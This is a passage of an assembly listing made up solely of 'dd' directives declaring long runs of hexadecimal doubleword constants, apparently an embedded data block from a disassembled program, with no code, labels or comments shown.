		dd 23F58000h, 5CD296Ch,	3E87EC4Eh, 90819A7Eh, 655E6F13h
		dd 0AB8C666Bh, 0E57237F0h, 433EE800h, 977C30FAh, 2A9D004Bh
		dd 0E065AA74h, 0C040253Dh, 0C6E0F90h, 784028DBh, 24F5644Bh
		dd 0E8F43807h, 407E47FBh, 0A1187EADh, 6A7C3D1Ah, 0ECED1B80h
		dd 4BA5B6C7h, 3DDA7200h, 0E09540F9h, 0D8FC0158h, 4DD2965h
		dd 8245DC3Fh, 514F8700h, 0AAAD6723h, 0B020F8E0h, 4BBC008Bh
		dd 416E770h, 0A00AC30h,	3219F157h, 71E2Ah, 7087264Ah, 0E5921783h
		dd 0A560610Eh, 9DEC26DDh, 0AC885942h, 7A492201h, 33BA9519h
		dd 0FF044608h, 0F70014E8h, 2F6DACEDh, 16F8FEFh,	70B349FBh
		dd 4A240E6Bh
		dd 0ABF7A034h, 9BDF3989h, 0C7097h, 0FF4B6F16h, 0F4E4643h
		dd 37FB6028h, 4318198Bh, 0DFC3EB6Bh, 43D2100h, 0F769807Ah
		dd 62181A17h, 44F2082Fh, 7A03FCE2h, 0BF09AEC8h,	0BCC7882Eh
		dd 6C690097h, 0A5BB1CD3h, 16395149h, 13248667h,	79BA53h
		dd 59F809Eh, 6F408834h,	8583B33h, 0FC2100A8h, 0E4B09F89h
		dd 0AD03621Ah, 0EEABDC5h, 958ACA32h, 80D49154h,	0B6F31C25h
		dd 8C65009Bh, 0EDE5FBBBh, 0D6019480h, 7622B853h, 41EC3934h
		dd 0DDC0C03Ch, 0F92AADEh, 0EB7BB617h, 0C84EA0D0h, 207F055h
		dd 1806BD31h, 1C993A03h, 0F2A302ACh, 0C52F3F20h, 1CD2A000h
		dd 8BE27EDCh, 14C06709h, 22BC7049h, 55AD1D5h, 0B6905097h
		dd 7D6C843h, 3A876B3Fh,	0B1170785h, 2F41D920h, 6D639404h
		dd 0CE64B441h, 8120939Ch, 7999D4A0h, 0F0A9609Dh, 0C596AD6Ah
		dd 6B0CECB6h, 2055B868h, 3978D415h, 82E9CE60h, 2765EC86h
		dd 94C69B33h, 1802D17Ah, 0BE63116h, 40C0D4DBh, 671A0799h
		dd 43B1F200h, 0B5D96EDEh, 226B60E4h, 340340D3h,	0E039ED25h
		dd 18B61BCCh, 0C84ACD38h, 6D00AEE0h, 7A5C5B81h,	0BC051C65h
		dd 464C288Ch, 7A0A02E5h, 9CE76982h, 22400F8h, 3825967Ah
		dd 4D0B1FC4h, 0E8CEAE0Bh, 0F7B68ECh, 0FE4C93DCh, 4D65D440h
		dd 0E63930F0h, 0E0E5A5B3h, 4B0CD264h, 1D1CC801h, 3A08B400h
		dd 119D437Bh, 0A3030F70h, 8E80BB80h, 4E256C1h, 55D12B05h
		dd 0B801B360h, 0F2438B7h, 0BD71E087h, 0FA184C50h, 41183401h
		dd 2CA120B4h, 56252082h, 0D000BA90h, 1E3BD73Ch,	40CF55D2h
		dd 624F77EEh, 5901E78Dh, 9D2F472Bh, 0DC44F8DCh,	3E10903Ah
		dd 3D5CC06Bh, 41636CBh,	0AA39659Dh, 805CBC0Ch, 11C80DD7h
		dd 0AD711F10h, 0BDD143BFh, 0A000B9B0h, 86892B05h, 7AA7A8A5h
		dd 93DB2D17h, 0E3511066h, 4B9187F2h, 0E5205818h, 16041A5h
		dd 0E3ECF4ADh, 0C4FA2043h, 0DC136550h, 78E409D3h, 3F67311h
		dd 5DD20A9Fh, 0EDE86D8Ah, 9D3249h, 9D47C0F0h, 26B7284h
		dd 51D29ACFh, 84978A79h, 616ADB88h, 0FCACCE82h,	0E32A9842h
		dd 1FF45CE5h, 0D48F1A1Fh, 0D1F2CBC0h, 0BCA54Fh,	5A2E0A23h
		dd 0EDE2A84Eh, 38722F05h, 0E4170E67h, 0F8041094h, 0C000AECCh
		dd 6F3D1ECh, 6B52EB12h,	0B2B5D823h, 61B440CDh, 0B3D60665h
		dd 480DF788h, 0A6B1ED01h, 0DFD9538Dh, 9A9DD420h, 39E209ACh
		dd 0F45A6637h, 0AD30F402h, 476B3597h, 60D1C498h, 4EC8676Eh
		dd 0EED0C01Ch, 983155CEh, 8304C0AFh, 4D9B6C40h,	194C24h
		dd 982DA048h, 0EECC98C8h, 2429E26Fh, 0F8D81624h, 89F087Fh
		dd 51CFB034h, 0BA8CF71Dh, 894B0280h, 4A7EA895h,	8306417Dh
		dd 5220C869h, 78C60098h, 931B5661h, 686E9B6h, 0D3FCDCB0h
		dd 42001116h, 0D0E1AE1Bh, 4BBA4F10h, 40E883A3h,	12582100h
		dd 0B104E6AEh, 7EA40937h, 0B8040AE1h, 8D4CC199h, 0DED0002Ch
		dd 197B0FEEh, 2A9CB4FAh, 0FD70C8D0h, 0E2AE18C0h, 0F0EE9D0h
		dd 80AE0F59h, 0CF4E5697h, 0B43D0955h, 0E4F80128h, 6900DC71h
		dd 0C65BF282h, 0FE4DD0E4h, 5CC0A2B0h, 7C896384h, 0E9213810h
		dd 99D012h, 5C364ADDh, 0D81DEA5Fh, 0A7C1B7EBh, 8B427E3Eh
		dd 48E09866h, 4898961Ah, 0C06CA09Dh, 343DDB5h, 0ABAD8FC9h
		dd 169B274Bh, 94EE6A88h, 7F5B6500h, 0BE1EB789h,	162E7C2Dh
		dd 413F2488h, 307D9C54h, 0CF4F209Dh, 0C8161C7Fh, 48B04488h
		dd 0EFCC2713h, 4A4458CCh, 462835B0h, 122C0828h,	49F8BC0h
		dd 87904334h, 666088FBh, 1E61A9Dh, 8F0C6C46h, 0EB974CD1h
		dd 644112BAh, 0B9A0206Bh, 1855D88h, 0B67C787Ah,	2B6552C6h
		dd 73BA8454h, 0AD5050F0h, 0D32A2FCCh, 2C01F053h, 0F71F2EF9h
		dd 0DF0FE1Eh, 4C951C2Dh, 362941ABh, 80C4B569h, 1F530471h
		dd 9D8C7273h, 0DC751400h, 51521354h, 30A7B270h,	0CE0DCCEDh
		dd 98BCE8BDh, 48B82420h, 250610E7h, 189D68B6h, 0AD34FC3Ah
		dd 18B8C1B5h, 3AB338FCh, 5CD8577Ah, 0A017C418h,	0B1486B69h
		dd 8C3EBCA8h, 0EC11E3Ah, 60857CADh, 9DD0786Eh, 581162E4h
		dd 2060BBD4h, 90D9B298h, 7060CE68h, 0E2CC3280h,	44123B0h
		dd 232433C8h, 9F8A0B0Dh, 62582485h, 0FE20A288h,	879F93h
		dd 0BC2CD6CCh, 0DEC12B69h, 9C52EC01h, 65CEE189h, 908C0BC1h
		dd 0FA39B353h, 713EC803h, 992A9E17h, 0B034A0D4h, 81B40B55h
		dd 1078942Bh, 677EDF05h, 748184F7h, 83DC7DEBh, 8B24C2Bh
		dd 8C4BBCh, 0D0CD1566h,	0BFE8112Ah, 0E84E942Dh,	0D591DCh
		dd 5BFFA3A7h, 6A293EF4h, 0CCCD283Ah, 0E239C40h,	0D0C4AE7Fh
		dd 204D6270h, 47AE165Ch, 0D4E93809h, 14F082C8h,	320200A9h
		dd 81B565CDh, 0BB235DD8h, 9DEC66FCh, 82D53887h,	0C8E80493h
		dd 0E3004ADDh, 0EFB419D6h, 9DEBE137h, 0AC529C8Bh, 0D6EC2B00h
		dd 0D1349B89h, 158C2865h, 28B53AB8h, 80C04234h,	0E5816B78h
		dd 0E0BA9C0Bh, 0A8E03778h, 10BEABDh, 320C40ABh,	0B84C9DC5h
		dd 0B554A6C9h, 48B56C09h, 8AE1ECF8h, 24525860h,	2104684h
		dd 34069F81h, 10A63180h, 19F86F9h, 21231A30h, 7BD4AE68h
		dd 9CA82820h, 31090270h, 166997BBh, 556AD4E8h, 0AC079901h
		dd 0C0562302h, 12A4CC24h, 8D7422Dh, 0C0A8303Ch,	7E02FF46h
		dd 88D0E0AEh, 57104A31h, 7C01AE15h, 596EB4DBh, 4C70F5D2h
		dd 53E121EDh, 0C60280BBh, 0B069679Ah, 0A8946ED3h, 0FC25C524h
		dd 0B0D0120h, 0AD6789EBh, 7CE870h, 9B8BE10Ch, 468D16F0h
		dd 566028F1h, 8B2AF00Ch, 65D00869h, 0A091964h, 0E44802DBh
		dd 510B00A5h, 0C81F321Dh, 31D25650h, 387788Ch, 4C9AA3A6h
		dd 8022C3B5h, 0A12D0033h, 9F1CF99Bh, 20B70984h,	0CC3CF664h
		dd 0B1F0A6h, 0B67D671Eh, 0E2A32978h, 84F8D326h,	690E3409h
		dd 6B1131A8h, 40E5CD27h, 0F5F2A3A0h, 0D5CC8502h, 615286BAh
		dd 4610B14Ch, 0F700F1B3h, 8DF5D1F3h, 1313A3CDh,	8BD3E106h
		dd 0CED6C858h, 0C79D77A3h, 0AEB456C0h, 13CD080h, 30A75512h
		dd 40E772D5h, 0F0C86888h, 0B10A1C9Ah, 983C70E2h, 6C6A0DC1h
		dd 5849B842h, 0B1551574h, 692408DDh, 679264F4h,	0B414D6E0h
		dd 42448CF7h, 0D6F22Ah,	92DAA6ABh, 65F3A701h, 51FB1212h
		dd 0A223A82Fh, 6EB61700h, 75AF2952h, 34871CF6h,	0FC0065CDh
		dd 3E40EFE2h, 81DBE8C9h, 9C757CBCh, 0E03C507Bh,	3451AA30h
		dd 5E00577Fh, 9E7DBA8Ch, 9FB261h, 94C5481h, 0B339C653h
		dd 0F359D302h, 2E9FB17h, 0C8C8E185h, 9920DAF8h,	21446FEh
		dd 340A9F85h, 1638E7A0h, 885000F5h, 6D83F5Fh, 0C6398B05h
		dd 0B082ABD7h, 0A7CC8A0h, 0BDDF3FBAh, 3FE4B86Eh, 43ED0EBEh
		dd 0D81E8462h, 24747031h, 8AD183h, 0A335C23Dh, 825C20D5h
		dd 3EA810ACh, 0BD16E00Fh, 0B04D6BA0h, 825A24Eh,	91C01731h
		dd 0D08E80A1h, 0FFEF15h, 0D175C843h, 0E1CDDA3Ch, 0EA13BE02h
		dd 814A58B7h, 0C59D33C0h, 2DE01864h, 2061A4C7h,	26C84C78h
		dd 9528B613h, 0D4FAA882h, 0D48A84B8h, 7F778049h, 614B52EBh
		dd 0CE648821h, 1DD16C34h, 12BBB691h, 2402396h, 2CF6C7E2h
		dd 0C0A0DC85h, 0CE0288FDh, 0E91F6C8Bh, 5BF3850h, 84FC143Ch
		dd 3C102F25h, 7826B7E2h, 58007C71h, 0E7AF0299h,	538D3A22h
		dd 0A50E98D2h, 17A0860Fh, 0BC4A5DEFh, 80D8BE2Eh, 0A60C6505h
		dd 6809E416h, 0DF983087h, 0B47D08D6h, 4164384Fh, 0D6E82F40h
		dd 0C0172E47h, 24E4052Ch, 6237010Fh, 0F1150AC4h, 0EBD06001h
		dd 0C9974600h, 0E31C5E40h
		dd 6B683052h, 0ED340431h, 78875D5Eh, 54827DC4h,	9F843017h
		dd 0A8340912h, 0F80F1C8Bh, 47429F8Dh, 78646753h, 39301B08h
		dd 687C00D7h, 983E984h,	0A200E099h, 8DD8577Bh, 62B9007Dh
		dd 326F96B5h, 0A100D2AEh, 36E380A8h, 0B63B39CCh, 17838368h
		dd 819D7C61h, 19DCB8h, 5790F3Bh, 9AF3AF3h, 0A094A021h
		dd 0B5CE810Bh, 4D187844h, 9DB848D4h, 0E5917201h, 0A375EC47h
		dd 4747438h, 0A6247B02h, 2C38A05Bh, 0EF8F5C9Ch,	0A490B047h
		dd 0EE8CA1B8h, 730902B4h, 0DFC05DA2h, 531E8084h, 2B59C82h
		dd 6C518653h, 318A5F1h,	0EF7BBE0Bh, 20D253h, 0D2835687h
		dd 95739DE2h, 0A18D2D00h, 5D2E8C5Ah, 0D5340001h, 8164B686h
		dd 0F45FC867h, 66390CC0h, 0FD3AE6DCh, 898B7428h, 373150A0h
		dd 0C03A6984h, 0E883DF68h, 36C2E5h, 0FA3B3F8Bh,	781E8C02h
		dd 5AC0DC18h, 0C0D674D0h, 0A66CDEF9h, 0D90019F9h, 5B2B73EBh
		dd 601ABADAh, 7A608EEDh, 9D2D0C8Dh, 1804E14Dh, 7914F1DEh
		dd 3F5C18A1h, 3FDAD3Fh,	54466E51h, 0D802232Fh, 7296CF55h
		dd 0F280E4B5h, 3A81069Ch, 78F904E5h, 3739E60Bh,	0A3106048h
		dd 0BF44000Ah, 88B5E59Fh, 8890D378h, 70BD9B12h,	57A364C0h
		dd 0C4E4A724h, 8A3360A1h, 68B21F50h, 0D1B680D2h, 0EB55A081h
		dd 0CBFBFD02h, 4723F4EEh, 60A6C448h, 4CA905A7h,	0ED0C8047h
		dd 0AE81081h, 1D1D5Fh, 0AC8924FAh, 17D6E1C0h, 0DCDF5CB4h
		dd 0D6EA2DE0h, 42F4F301h, 7C305EA4h, 0DF2CDC30h, 9E24FB51h
		dd 519C0930h, 0E2F80404h, 3347F220h, 0A9CC1EB8h, 0CB906405h
		dd 0E4204AEFh, 134EA299h, 471C30EAh, 0A05E6284h, 33405B9Eh
		dd 0C69ED2Ch, 0B935058Dh, 4482F4h, 649F4DE7h, 0C5134285h
		dd 4001A55Eh, 4C2D3A18h, 788081ADh, 5474A376h, 19A8AF54h
		dd 0B2C06000h, 57633779h, 0ACE1000Ch, 7C8BDCA4h, 982C88B4h
		dd 5F823845h, 0B48F4A8h, 56446478h, 8B8070B3h, 0E7C96904h
		dd 0ECF27174h, 0BD4907Bh, 3CBE4E6Ch, 26D2B0C0h,	821B1A00h
		dd 9BB38DE5h, 618100E2h, 0B877171Fh, 0B24B163Fh, 4C23142Eh
		dd 8281C802h, 4910600Bh, 12109018h, 445CB84Ah, 0F222DBF8h
		dd 0F4947F1Ch, 45465Ch,	85F2941Ch, 5CDA3833h, 0B4C07450h
		dd 0DEA468A2h, 6B7F3D00h, 0CF10DC25h, 0DFC801EEh, 375FB101h
		dd 5268774Eh, 30A7E2B4h, 230427A8h, 0D52F6C8Dh,	0DCB0E490h
		dd 327200EBh, 25A2B2DFh, 0AC6BF4B6h, 87C4F1E8h,	0E9C4BD73h
		dd 0C0554E6h, 1A25CD32h, 0B0A49801h, 12043FCCh,	7087BF4h
		dd 75CE2E5Eh, 62813500h, 6C802FB4h, 8A828C80h, 2096EC6Bh
		dd 817A0560h, 2CFF5E69h, 0FD0023F0h, 7F9F6C7Ah,	995F734h
		dd 5E8D3F40h, 33185802h, 96787A00h, 0BB3B00B3h,	2199766Dh
		dd 383507ECh, 648119F9h, 1E7EF528h, 0F45604F8h,	23D0B4B5h
		dd 0E76B8B14h, 7A08854Ch, 71D71C82h, 2667D8h, 0A6FA367Ah
		dd 0C7ECF802h, 729DAE2Ah, 0C068179Ch, 45E85C7Ch, 0E430F9CDh
		dd 0FC9448F8h, 2CDA5412h, 38BE52C0h, 0AF3A1330h, 0E4ECA874h
		dd 74C0295Fh, 351A1B8h,	0E50BE946h, 0A7D8BA7Dh,	0A5040C81h
		dd 27D910D6h, 1FA178E0h, 7D65CE63h, 556844CFh, 0ABD10E43h
		dd 0B724FAC8h, 0BB1CA882h, 9114970Bh, 0A428044h, 0F9B28Bh
		dd 0A2A36A1Ah, 51CCBE7Dh, 0E20EB094h, 0FCB017A7h, 5D9C1A75h
		dd 0A829193Dh, 965EA400h, 99D2AC9Dh, 404800A0h,	0BF30E86Bh
		dd 0CCBD41BCh, 9F549EF1h, 3ECAB6Bh, 69857A09h, 21D562CCh
		dd 847A0127h, 713F90AAh, 0AC6084C3h, 0D9004A33h, 0F96B79EBh
		dd 2788BA56h, 5C23C049h, 0D4DA22E1h, 32F214D0h,	6F35D518h
		dd 31A1CCD0h, 0E05878C3h, 0A80D0C48h, 242015B0h, 2CF0CBCDh
		dd 0B2D412B8h, 436417F0h, 0E7F4F432h, 8051EFC0h, 0DFCD98B7h
		dd 20241ECBh, 687F0269h, 28DAF84Dh, 7CB044h, 0AAFB4C82h
		dd 0AF4B661Fh, 73B53D0Ch, 9524E8E4h, 3920A40Ah,	990A3FA0h
		dd 0D4ADB09Dh, 4A432A64h, 0F90BD0A0h, 0F8B99D3Bh, 2AE028DCh
		dd 44C4A780h, 0C99F60D6h, 0F53827ECh, 1D197083h, 67827002h
		dd 0E4B04A8h, 5F859D24h, 0FF3CD140h, 25AEA463h,	0D8D91273h
		dd 32E6A101h, 2AD45A06h, 81850280h, 84A9B84Dh, 0CF02B458h
		dd 5728A68Ch, 19B4806Fh, 6040C86Ah, 0DA096838h,	0FC1FB4F4h
		dd 0A00C6817h, 4DCD8116h, 0CC0FB841h, 0F4613C1Bh, 88A2055Ah
		dd 2C860460h, 0A5467494h, 87CD7900h, 0E32D174h,	20B1CC28h
		dd 96EDAD00h, 982BCB4h,	17609238h, 0B6E771h, 948ACE45h
		dd 1804430Fh, 4ED40BDEh, 34D040ABh, 163DF4Dh, 4A550D00h
		dd 0C7B2BCD2h, 0A46C5495h, 0DA0A000Ch, 0D08C895Ch, 84046F21h
		dd 0A8CA5E2Ch, 0B8580481h, 378A7C0Ch, 71158AF4h, 0DC661D4h
		dd 0F680C79Dh, 764B0E89h, 280824F6h, 250BE61Dh,	117D8B56h
		dd 0C8198D00h, 0B4127BD6h, 0C4CA383Fh, 0D6E6F100h, 0ED7DBA67h
		dd 0C55CEBF2h, 0CA813A5h, 30B020C5h, 25E092D2h,	0B8713039h
		dd 0EB603447h, 0D35A86h, 0A3896D77h, 0FDF5A211h, 966D508h
		dd 3CD080F3h, 32B78902h, 0A54ED16h, 3A6CD050h, 472BFC6Ah
		dd 6D0F0C08h, 4F9F22DEh, 0EEB4C176h, 6C980318h,	0B02F692Bh
		dd 1D00D711h, 0CC907AFBh, 0E798DB95h, 5467B226h, 624A4088h
		dd 0BC51BCE7h, 35183ED9h, 0E47CA570h, 61682860h, 1BEE58ACh
		dd 0C9B7ECCBh, 0FE6EF1C7h, 1CF830DCh, 6C88184Ah, 728B89E8h
		dd 6ADBF124h, 0E93C1A0Ch, 0BD1B80C9h, 9F9955E3h, 0D1A50B42h
		dd 2060874Dh, 0D579140Ah, 6200C094h, 33A2FA52h,	0DDDC13F8h
		dd 0DAB817E1h, 0C2AFC06Ch, 9E8EFA3h, 0D9591B81h, 6180CCD4h
		dd 1CD02C7Bh, 0E4B80540h, 0D3135CAAh, 1925AD60h, 6860A005h
		dd 0FA933690h, 0EBD400FCh, 5872A318h, 4200B909h, 4D204BBDh
		dd 0EF30B505h, 807874h,	2406A97Ch, 0B1DC080Ch, 28B6DB0Eh
		dd 9021D281h, 4A2A15E0h, 0C0EC886Ch, 0B41AD6E4h, 2C85E743h
		dd 14F080E9h, 0DA604530h, 9CBA8350h, 773503A4h,	32E9286Ah
		dd 617C8807h, 8760595Eh, 7BDD65A6h, 1E5F5E67h, 5097EDDCh
		dd 0B480A711h, 0D0E2264Dh, 0CCA0DA98h, 9426928h, 0CBA94F35h
		dd 0C041C8FCh, 4AA17B54h, 0C90F8777h, 37B60C55h, 41C868CBh
		dd 0DFF929C0h, 88731C44h, 6781001Ch, 7E1603D6h,	9907B712h
		dd 0E0F8780Bh, 62476A1Ch, 539CD051h, 0DAA6C048h, 62EAFA27h
		dd 6857428Ch, 28659BB8h, 5E01AA4h, 0B4D820B7h, 90EC0356h
		dd 5811E306h, 4A3BAB4Ch, 32FE0D0Bh, 0B0D9C01Bh,	0CD12B84h
		dd 603BAFC5h, 14B069F0h, 50E54C44h, 2E508494h, 8218F056h
		dd 0CCD488B3h, 0E890D476h, 6B4997C2h, 9EE4680Ch, 8993BFDCh
		dd 2AD8B210h, 0FA24984Eh, 1B84DCCEh, 0DC36349h,	3F268930h
		dd 0C9E8ACC1h, 143101D4h, 0A480EE18h, 84232AD2h, 3302A4A5h
		dd 0BC5091EDh, 6F54A480h, 54CCE495h, 1339F46Eh,	2860057Dh
		dd 10A04C74h, 99C01D3Ah, 2B5819E0h, 0C06905ABh,	80A4650h
		dd 17641664h, 0E1B8A152h, 6F6829E5h, 2DCC821h, 0CE055D1h
		dd 2AB84074h, 9E7464CDh, 0AF4B0B4h, 6DCAD209h, 24165890h
		dd 4DE12184h, 801EA939h, 6B043F91h, 0C8E27D27h,	68B6A414h
		dd 1920B504h, 0D112F8BCh, 0FA8C22FEh, 0E37C8132h, 2C2E20D0h
		dd 0C0062B4h, 2A1280AEh, 98CF04Eh, 30EE9FE1h, 4C0B0010h
		dd 7499C605h, 0D100146Dh, 3C3693A9h, 78BE9FEEh,	0CE0BA142h
		dd 44A49865h, 14A2B3h, 8416BDCFh, 1869E62Eh, 58147E6Ah
		dd 7188D238h, 0B86F243h
		dd 1C90B067h, 30AD18E8h, 27C84E80h, 0A0E6EC6Fh,	0EF5E60B6h
		dd 0F708FE18h, 80390518h, 0EF21B8DBh, 0CE00C32Ah, 14B79E63h
		dd 583B7384h, 2F5F782Eh, 0A4234Ch, 726A835h, 740B2E29h
		dd 0E324C7E7h, 8AE48978h, 78F7CC72h, 1132B8C0h,	8BDF1255h
		dd 3782CAEh, 93B0E140h,	0DEF57010h, 70DA400h, 893BC1FCh
		dd 2CF4430h, 0E25830BEh, 3CC101ECh, 29266F2Fh, 0BC647084h
		dd 2CE93C9Ah, 0CBB5CEE4h, 69E89620h, 8C51213Ah,	0F346ED00h
		dd 0C2DC791h, 736B7954h, 714CD058h, 0BB57C42Ch,	0D37C91Fh
		dd 197E6C50h, 12C0C04Dh, 0E82F510Ah, 1500A823h,	825CEA0Dh
		dd 58CF5C27h, 6C7F6BC1h, 2468962Bh, 2A3C8400h, 99D36977h
		dd 40A21344h, 6BBA7C38h, 0C2F9436h, 3A2800FDh, 2516EB0Bh
		dd 584BE305h, 39BF2800h, 55FCDCCFh, 0F93239E2h,	0D109D4D2h
		dd 0F0D10391h, 318A579h, 21616E09h, 460C78D5h, 0AE7C0201h
		dd 0D178D0DEh, 135D60F8h, 430158AEh, 9538B486h,	60775442h
		dd 128B50Bh, 5856646Ah,	0D5465Eh, 3F59D69Ah, 1D7D5C7Fh
		dd 55BDD1ABh, 0AE02E0B7h, 30B692EDh, 0A39EA07Ch, 74CCA205h
		dd 0B0BC3EC3h, 53BEEBh,	6E26B2FAh, 0D69D0F89h, 0F01A8125h
		dd 0F8BF0B1Ch, 88457377h, 186ADAE2h, 870B359Dh,	872D0D47h
		dd 884C59E4h, 16DB05B0h, 2D446920h, 0EA4DF08Ch,	0E8608495h
		dd 0CB710B40h, 0E5032A9Fh, 95732EA8h, 0B40C9802h, 2C804988h
		dd 0D32BB86Fh, 0E25E8410h, 0C4DCF000h, 0C7BC0BF5h, 12145ED9h
		dd 0FA60E4CCh, 0F621D812h, 0B8146E0h, 91E53006h, 0B3CCF820h
		dd 898022B9h, 0FA6713F3h, 0E07CF69Fh, 242E6B2h,	0E007D02Ch
		dd 7CD45EB5h, 0D278E40h, 3E69FA70h, 0ED00ABD0h,	0DD3A195Ch
		dd 0F91EA988h, 620051FFh, 5071D78Dh, 83EE0A4Bh,	350B7CBh
		dd 36050931h, 0DFA3D900h, 0D3C79B35h, 548900E0h, 0A8183F2h
		dd 0E818D0DCh, 0ACF4DE4Eh, 0ECD452AEh, 0CBB68700h, 4BB04D78h
		dd 3108580Fh, 0C0F1E9B3h, 997BDCA4h, 18A3D1E8h,	0C35205E7h
		dd 0C1132474h, 16B428h,	9443EEB5h, 63FA015Ch, 0ED9BBAD5h
		dd 7A286878h, 6A263100h, 617E1A37h, 0C3842955h,	2A3B0050h
		dd 702C1116h, 6C32DB45h, 5130AAE2h, 4AD7003Ch, 681C3B29h
		dd 434A0CC0h, 0C2083414h, 4CE96B8Bh, 7A060584h,	0E207697Eh
		dd 0FE20C00Ch, 7B0AF7Ah, 26094908h, 0C2F1800Eh,	0CD01BDA5h
		dd 70EC41C6h, 58743C55h, 93320E05h, 281D0D8h, 6490C06Ah
		dd 19115408h, 0E01D360Ah, 8E6A401Bh, 6E56BD2Fh,	861594F0h
		dd 6F065B6h, 1385E50Bh,	984DEFB8h, 0B4FC083Eh, 0C0FF3B43h
		dd 90905B03h, 0B09B0270h, 483339DFh, 0F1E44C2Fh, 4EEF00B5h
		dd 6F064595h, 0C82549D7h, 0E458054Ch, 994C23AAh, 51BBB0A7h
		dd 1F000A25h, 0C93F0FA9h, 133EA586h, 20D49h, 2C058FECh
		dd 8107677Eh, 2F6C9D30h, 6AF51CB0h, 0B4E13E6Bh,	0C81BAB94h
		dd 0C456417Bh, 0F84798D5h, 0C2944DB0h, 0A3758401h, 6EEFB270h
		dd 5A558830h, 323C8864h, 17349D50h, 65206098h, 0DE81173Dh
		dd 0C88C8B6Bh, 0C940CFA1h, 62C5E033h, 0D106BE7Fh, 0D5FEDB82h
		dd 6E6B2280h, 50300A0h,	69117060h, 64DC231Eh, 40E6F0FBh
		dd 0B13BFEEh, 0EB82004Ah, 0E11BCB89h, 98B01A8Bh, 0C118E204h
		dd 9CFC918Ah, 0A68F8638h, 0AD13B01Bh, 60B448BCh, 903635A1h
		dd 0D1A70C94h, 5221B3DCh, 0ED3AF44h, 8B0430C0h,	0EA973D80h
		dd 0DA3CB12Dh, 0A8F3FBE2h, 110E43A9h, 0A04BB630h, 0F8A06AAFh
		dd 41AC0026h, 829A5D02h, 0D01252E9h, 0E41F7F13h, 7099E622h
		dd 530B12F2h, 857CC863h, 633C094Ch, 18374E36h, 99B65319h
		dd 0F50102C2h, 0B3C7D916h, 0D82D3A06h, 4DCFEC4h, 1440CBFBh
		dd 3B6C62C8h, 0F427E000h, 980728EAh, 52290547h,	0A8A89D97h
		dd 0E8084EECh, 54A4A5h,	0B81081D9h, 203A9830h, 677C8357h
		dd 12175184h, 256F50EEh, 0BC04ACD8h, 0DD128CD7h, 0BA514h
		dd 0E53584DCh, 56B01092h, 0AC0FD63Ch, 0C9B47EC0h, 0B0DC60A9h
		dd 5E30B6E1h, 0F2024146h, 12F3EE17h, 0D8F58840h, 618050C1h
		dd 0DC203C85h, 8BE002Ch, 0A9E28705h, 34A5D5FAh,	75604664h
		dd 0F97FA2CCh, 3A01CE79h, 0D063B69Ch, 1C64349Dh, 0B15498D4h
		dd 184D79CCh, 379E02BDh, 0EF273BE9h, 0E518F0E1h, 0B70388Ch
		dd 78AD2869h, 20A8B0B0h, 0A24ABE3Ch, 540038D5h,	51AC479Ah
		dd 213A4E9Dh, 72695594h, 34FC0F2Ch, 0F4B017EDh,	80EE091Bh
		dd 70C4EAB8h, 0AD202197h, 28D09AE5h, 24549C45h,	18242004h
		dd 0C11A3539h, 98B78182h, 1ABA7C94h, 80DE47D7h,	5E58107Dh
		dd 32BC0077h, 9EAA8D96h, 0E2E29C45h, 615D2B01h,	0B0698C01h
		dd 584CD06Ah, 0D55A99D0h, 4623A82Eh, 0AC32A206h, 48900948h
		dd 8F99A8Fh, 0EE439700h, 93D80E8h, 360238BCh, 5181C100h
		dd 0C3138BADh, 54B27BD9h, 0F8213E27h, 1395DE5h,	222AE00Ah
		dd 0EA338CE8h, 476C41D6h, 43222426h, 0D6E5F00Eh, 0A34F6067h
		dd 1A321FCBh, 5947D9EDh, 1000605Ah, 0FC8C43Fh, 566EDFh
		dd 28C25EA4h, 5CDE3CA9h, 8B10C1B5h, 3EB85478h, 0C13B6B43h
		dd 2C5E9A00h, 3278DE46h, 0ECD1362Ch, 0F080BB00h, 0B171E9E7h
		dd 81BE1FC4h, 0C5320996h, 0FC003A41h, 55BB6360h, 0B2AA2D61h
		dd 4391109Dh, 8D3DA880h, 9036AB6h, 1CC9E7BCh, 3C614CD4h
		dd 25B8661Fh, 45649C67h, 9977B960h, 4842AB00h, 0C86805D5h
		dd 84744C9Ch, 70238614h, 1444BD18h, 282DB3E6h, 0A4C40A75h
		dd 0A340DD44h, 68099C92h, 0C3EE3709h, 0D3100618h, 0A0850149h
		dd 62B173B7h, 16209017h, 3A245010h, 5B71E0D3h, 278302Ah
		dd 0BD45F48h, 0E87CB4DBh, 0D5239D87h, 7F44DF30h, 0D38899DCh
		dd 0D2C860BCh, 91A34BAEh, 7006B400h, 4CB98A98h,	866AD478h
		dd 0BFEC7400h, 0C455CEF0h, 58A295B0h, 0EA034105h, 5D3105E1h
		dd 35D47486h, 230C2E60h, 9A04033Fh, 78D150BFh, 69709EA4h
		dd 0AD7CDEC0h, 174DB1C8h, 8E5853A8h, 0C0A6C87Ch, 30B60FEEh
		dd 0C7B25F04h, 0C0B011B1h, 63B940EDh, 339C7613h, 916A0CE4h
		dd 6AD6F0B8h, 5E112786h, 741E20F9h, 0EBB293C0h,	3A2EE5A3h
		dd 0DA0177FAh, 0B48324B1h, 73343930h, 0A1CC10F9h, 603CFA64h
		dd 0C04A1034h, 0A0B6548Ch, 64E32C0Eh, 30942A37h, 4688C8CEh
		dd 0F3D1EBC1h, 0AD6C886Fh, 0C031D04Bh, 88244E64h, 659B88C2h
		dd 6009345Eh, 0DB8810EDh, 44FC9A22h, 0CD05CB1Ch, 0F5E17CB0h
		dd 0E02C84C1h, 0D6048070h, 0C87C8B61h, 8C12C040h, 0A1048D49h
		dd 7B167008h, 4ABC34F8h, 7368048Ch, 986387CFh, 6509B55Ch
		dd 0B7D60422h, 88A7003Ch, 0ACF9ABBBh, 51D123Bh,	79F3A8F8h
		dd 26834BC1h, 38929C20h, 90A4BEB7h, 56D409C4h, 0BD9BA420h
		dd 0ACA00EE8h, 0A09D3C39h, 7B678244h, 818026E5h, 0F0EF4130h
		dd 0CD310023h, 4309461h, 0FFC7A84Eh, 0D5E5B044h, 580A94E0h
		dd 3EFC5C3Dh, 11B058Ch,	981C3h,	2749210Ch, 0DF00865Fh
		dd 7E2AD7B3h, 1C354ABBh, 12EFA33Eh, 894CA8A7h, 8A1490D1h
		dd 0AAA40337h, 0E3E7D341h, 563B181Ch, 28F40A2Dh, 0E6E01D19h
		dd 7DD13313h, 40CF0816h, 60EB5890h, 235A97F0h, 0CF80DC9Eh
		dd 26C9D3EDh, 2DB2D700h, 5FB682D1h, 29AD6053h, 7C297478h
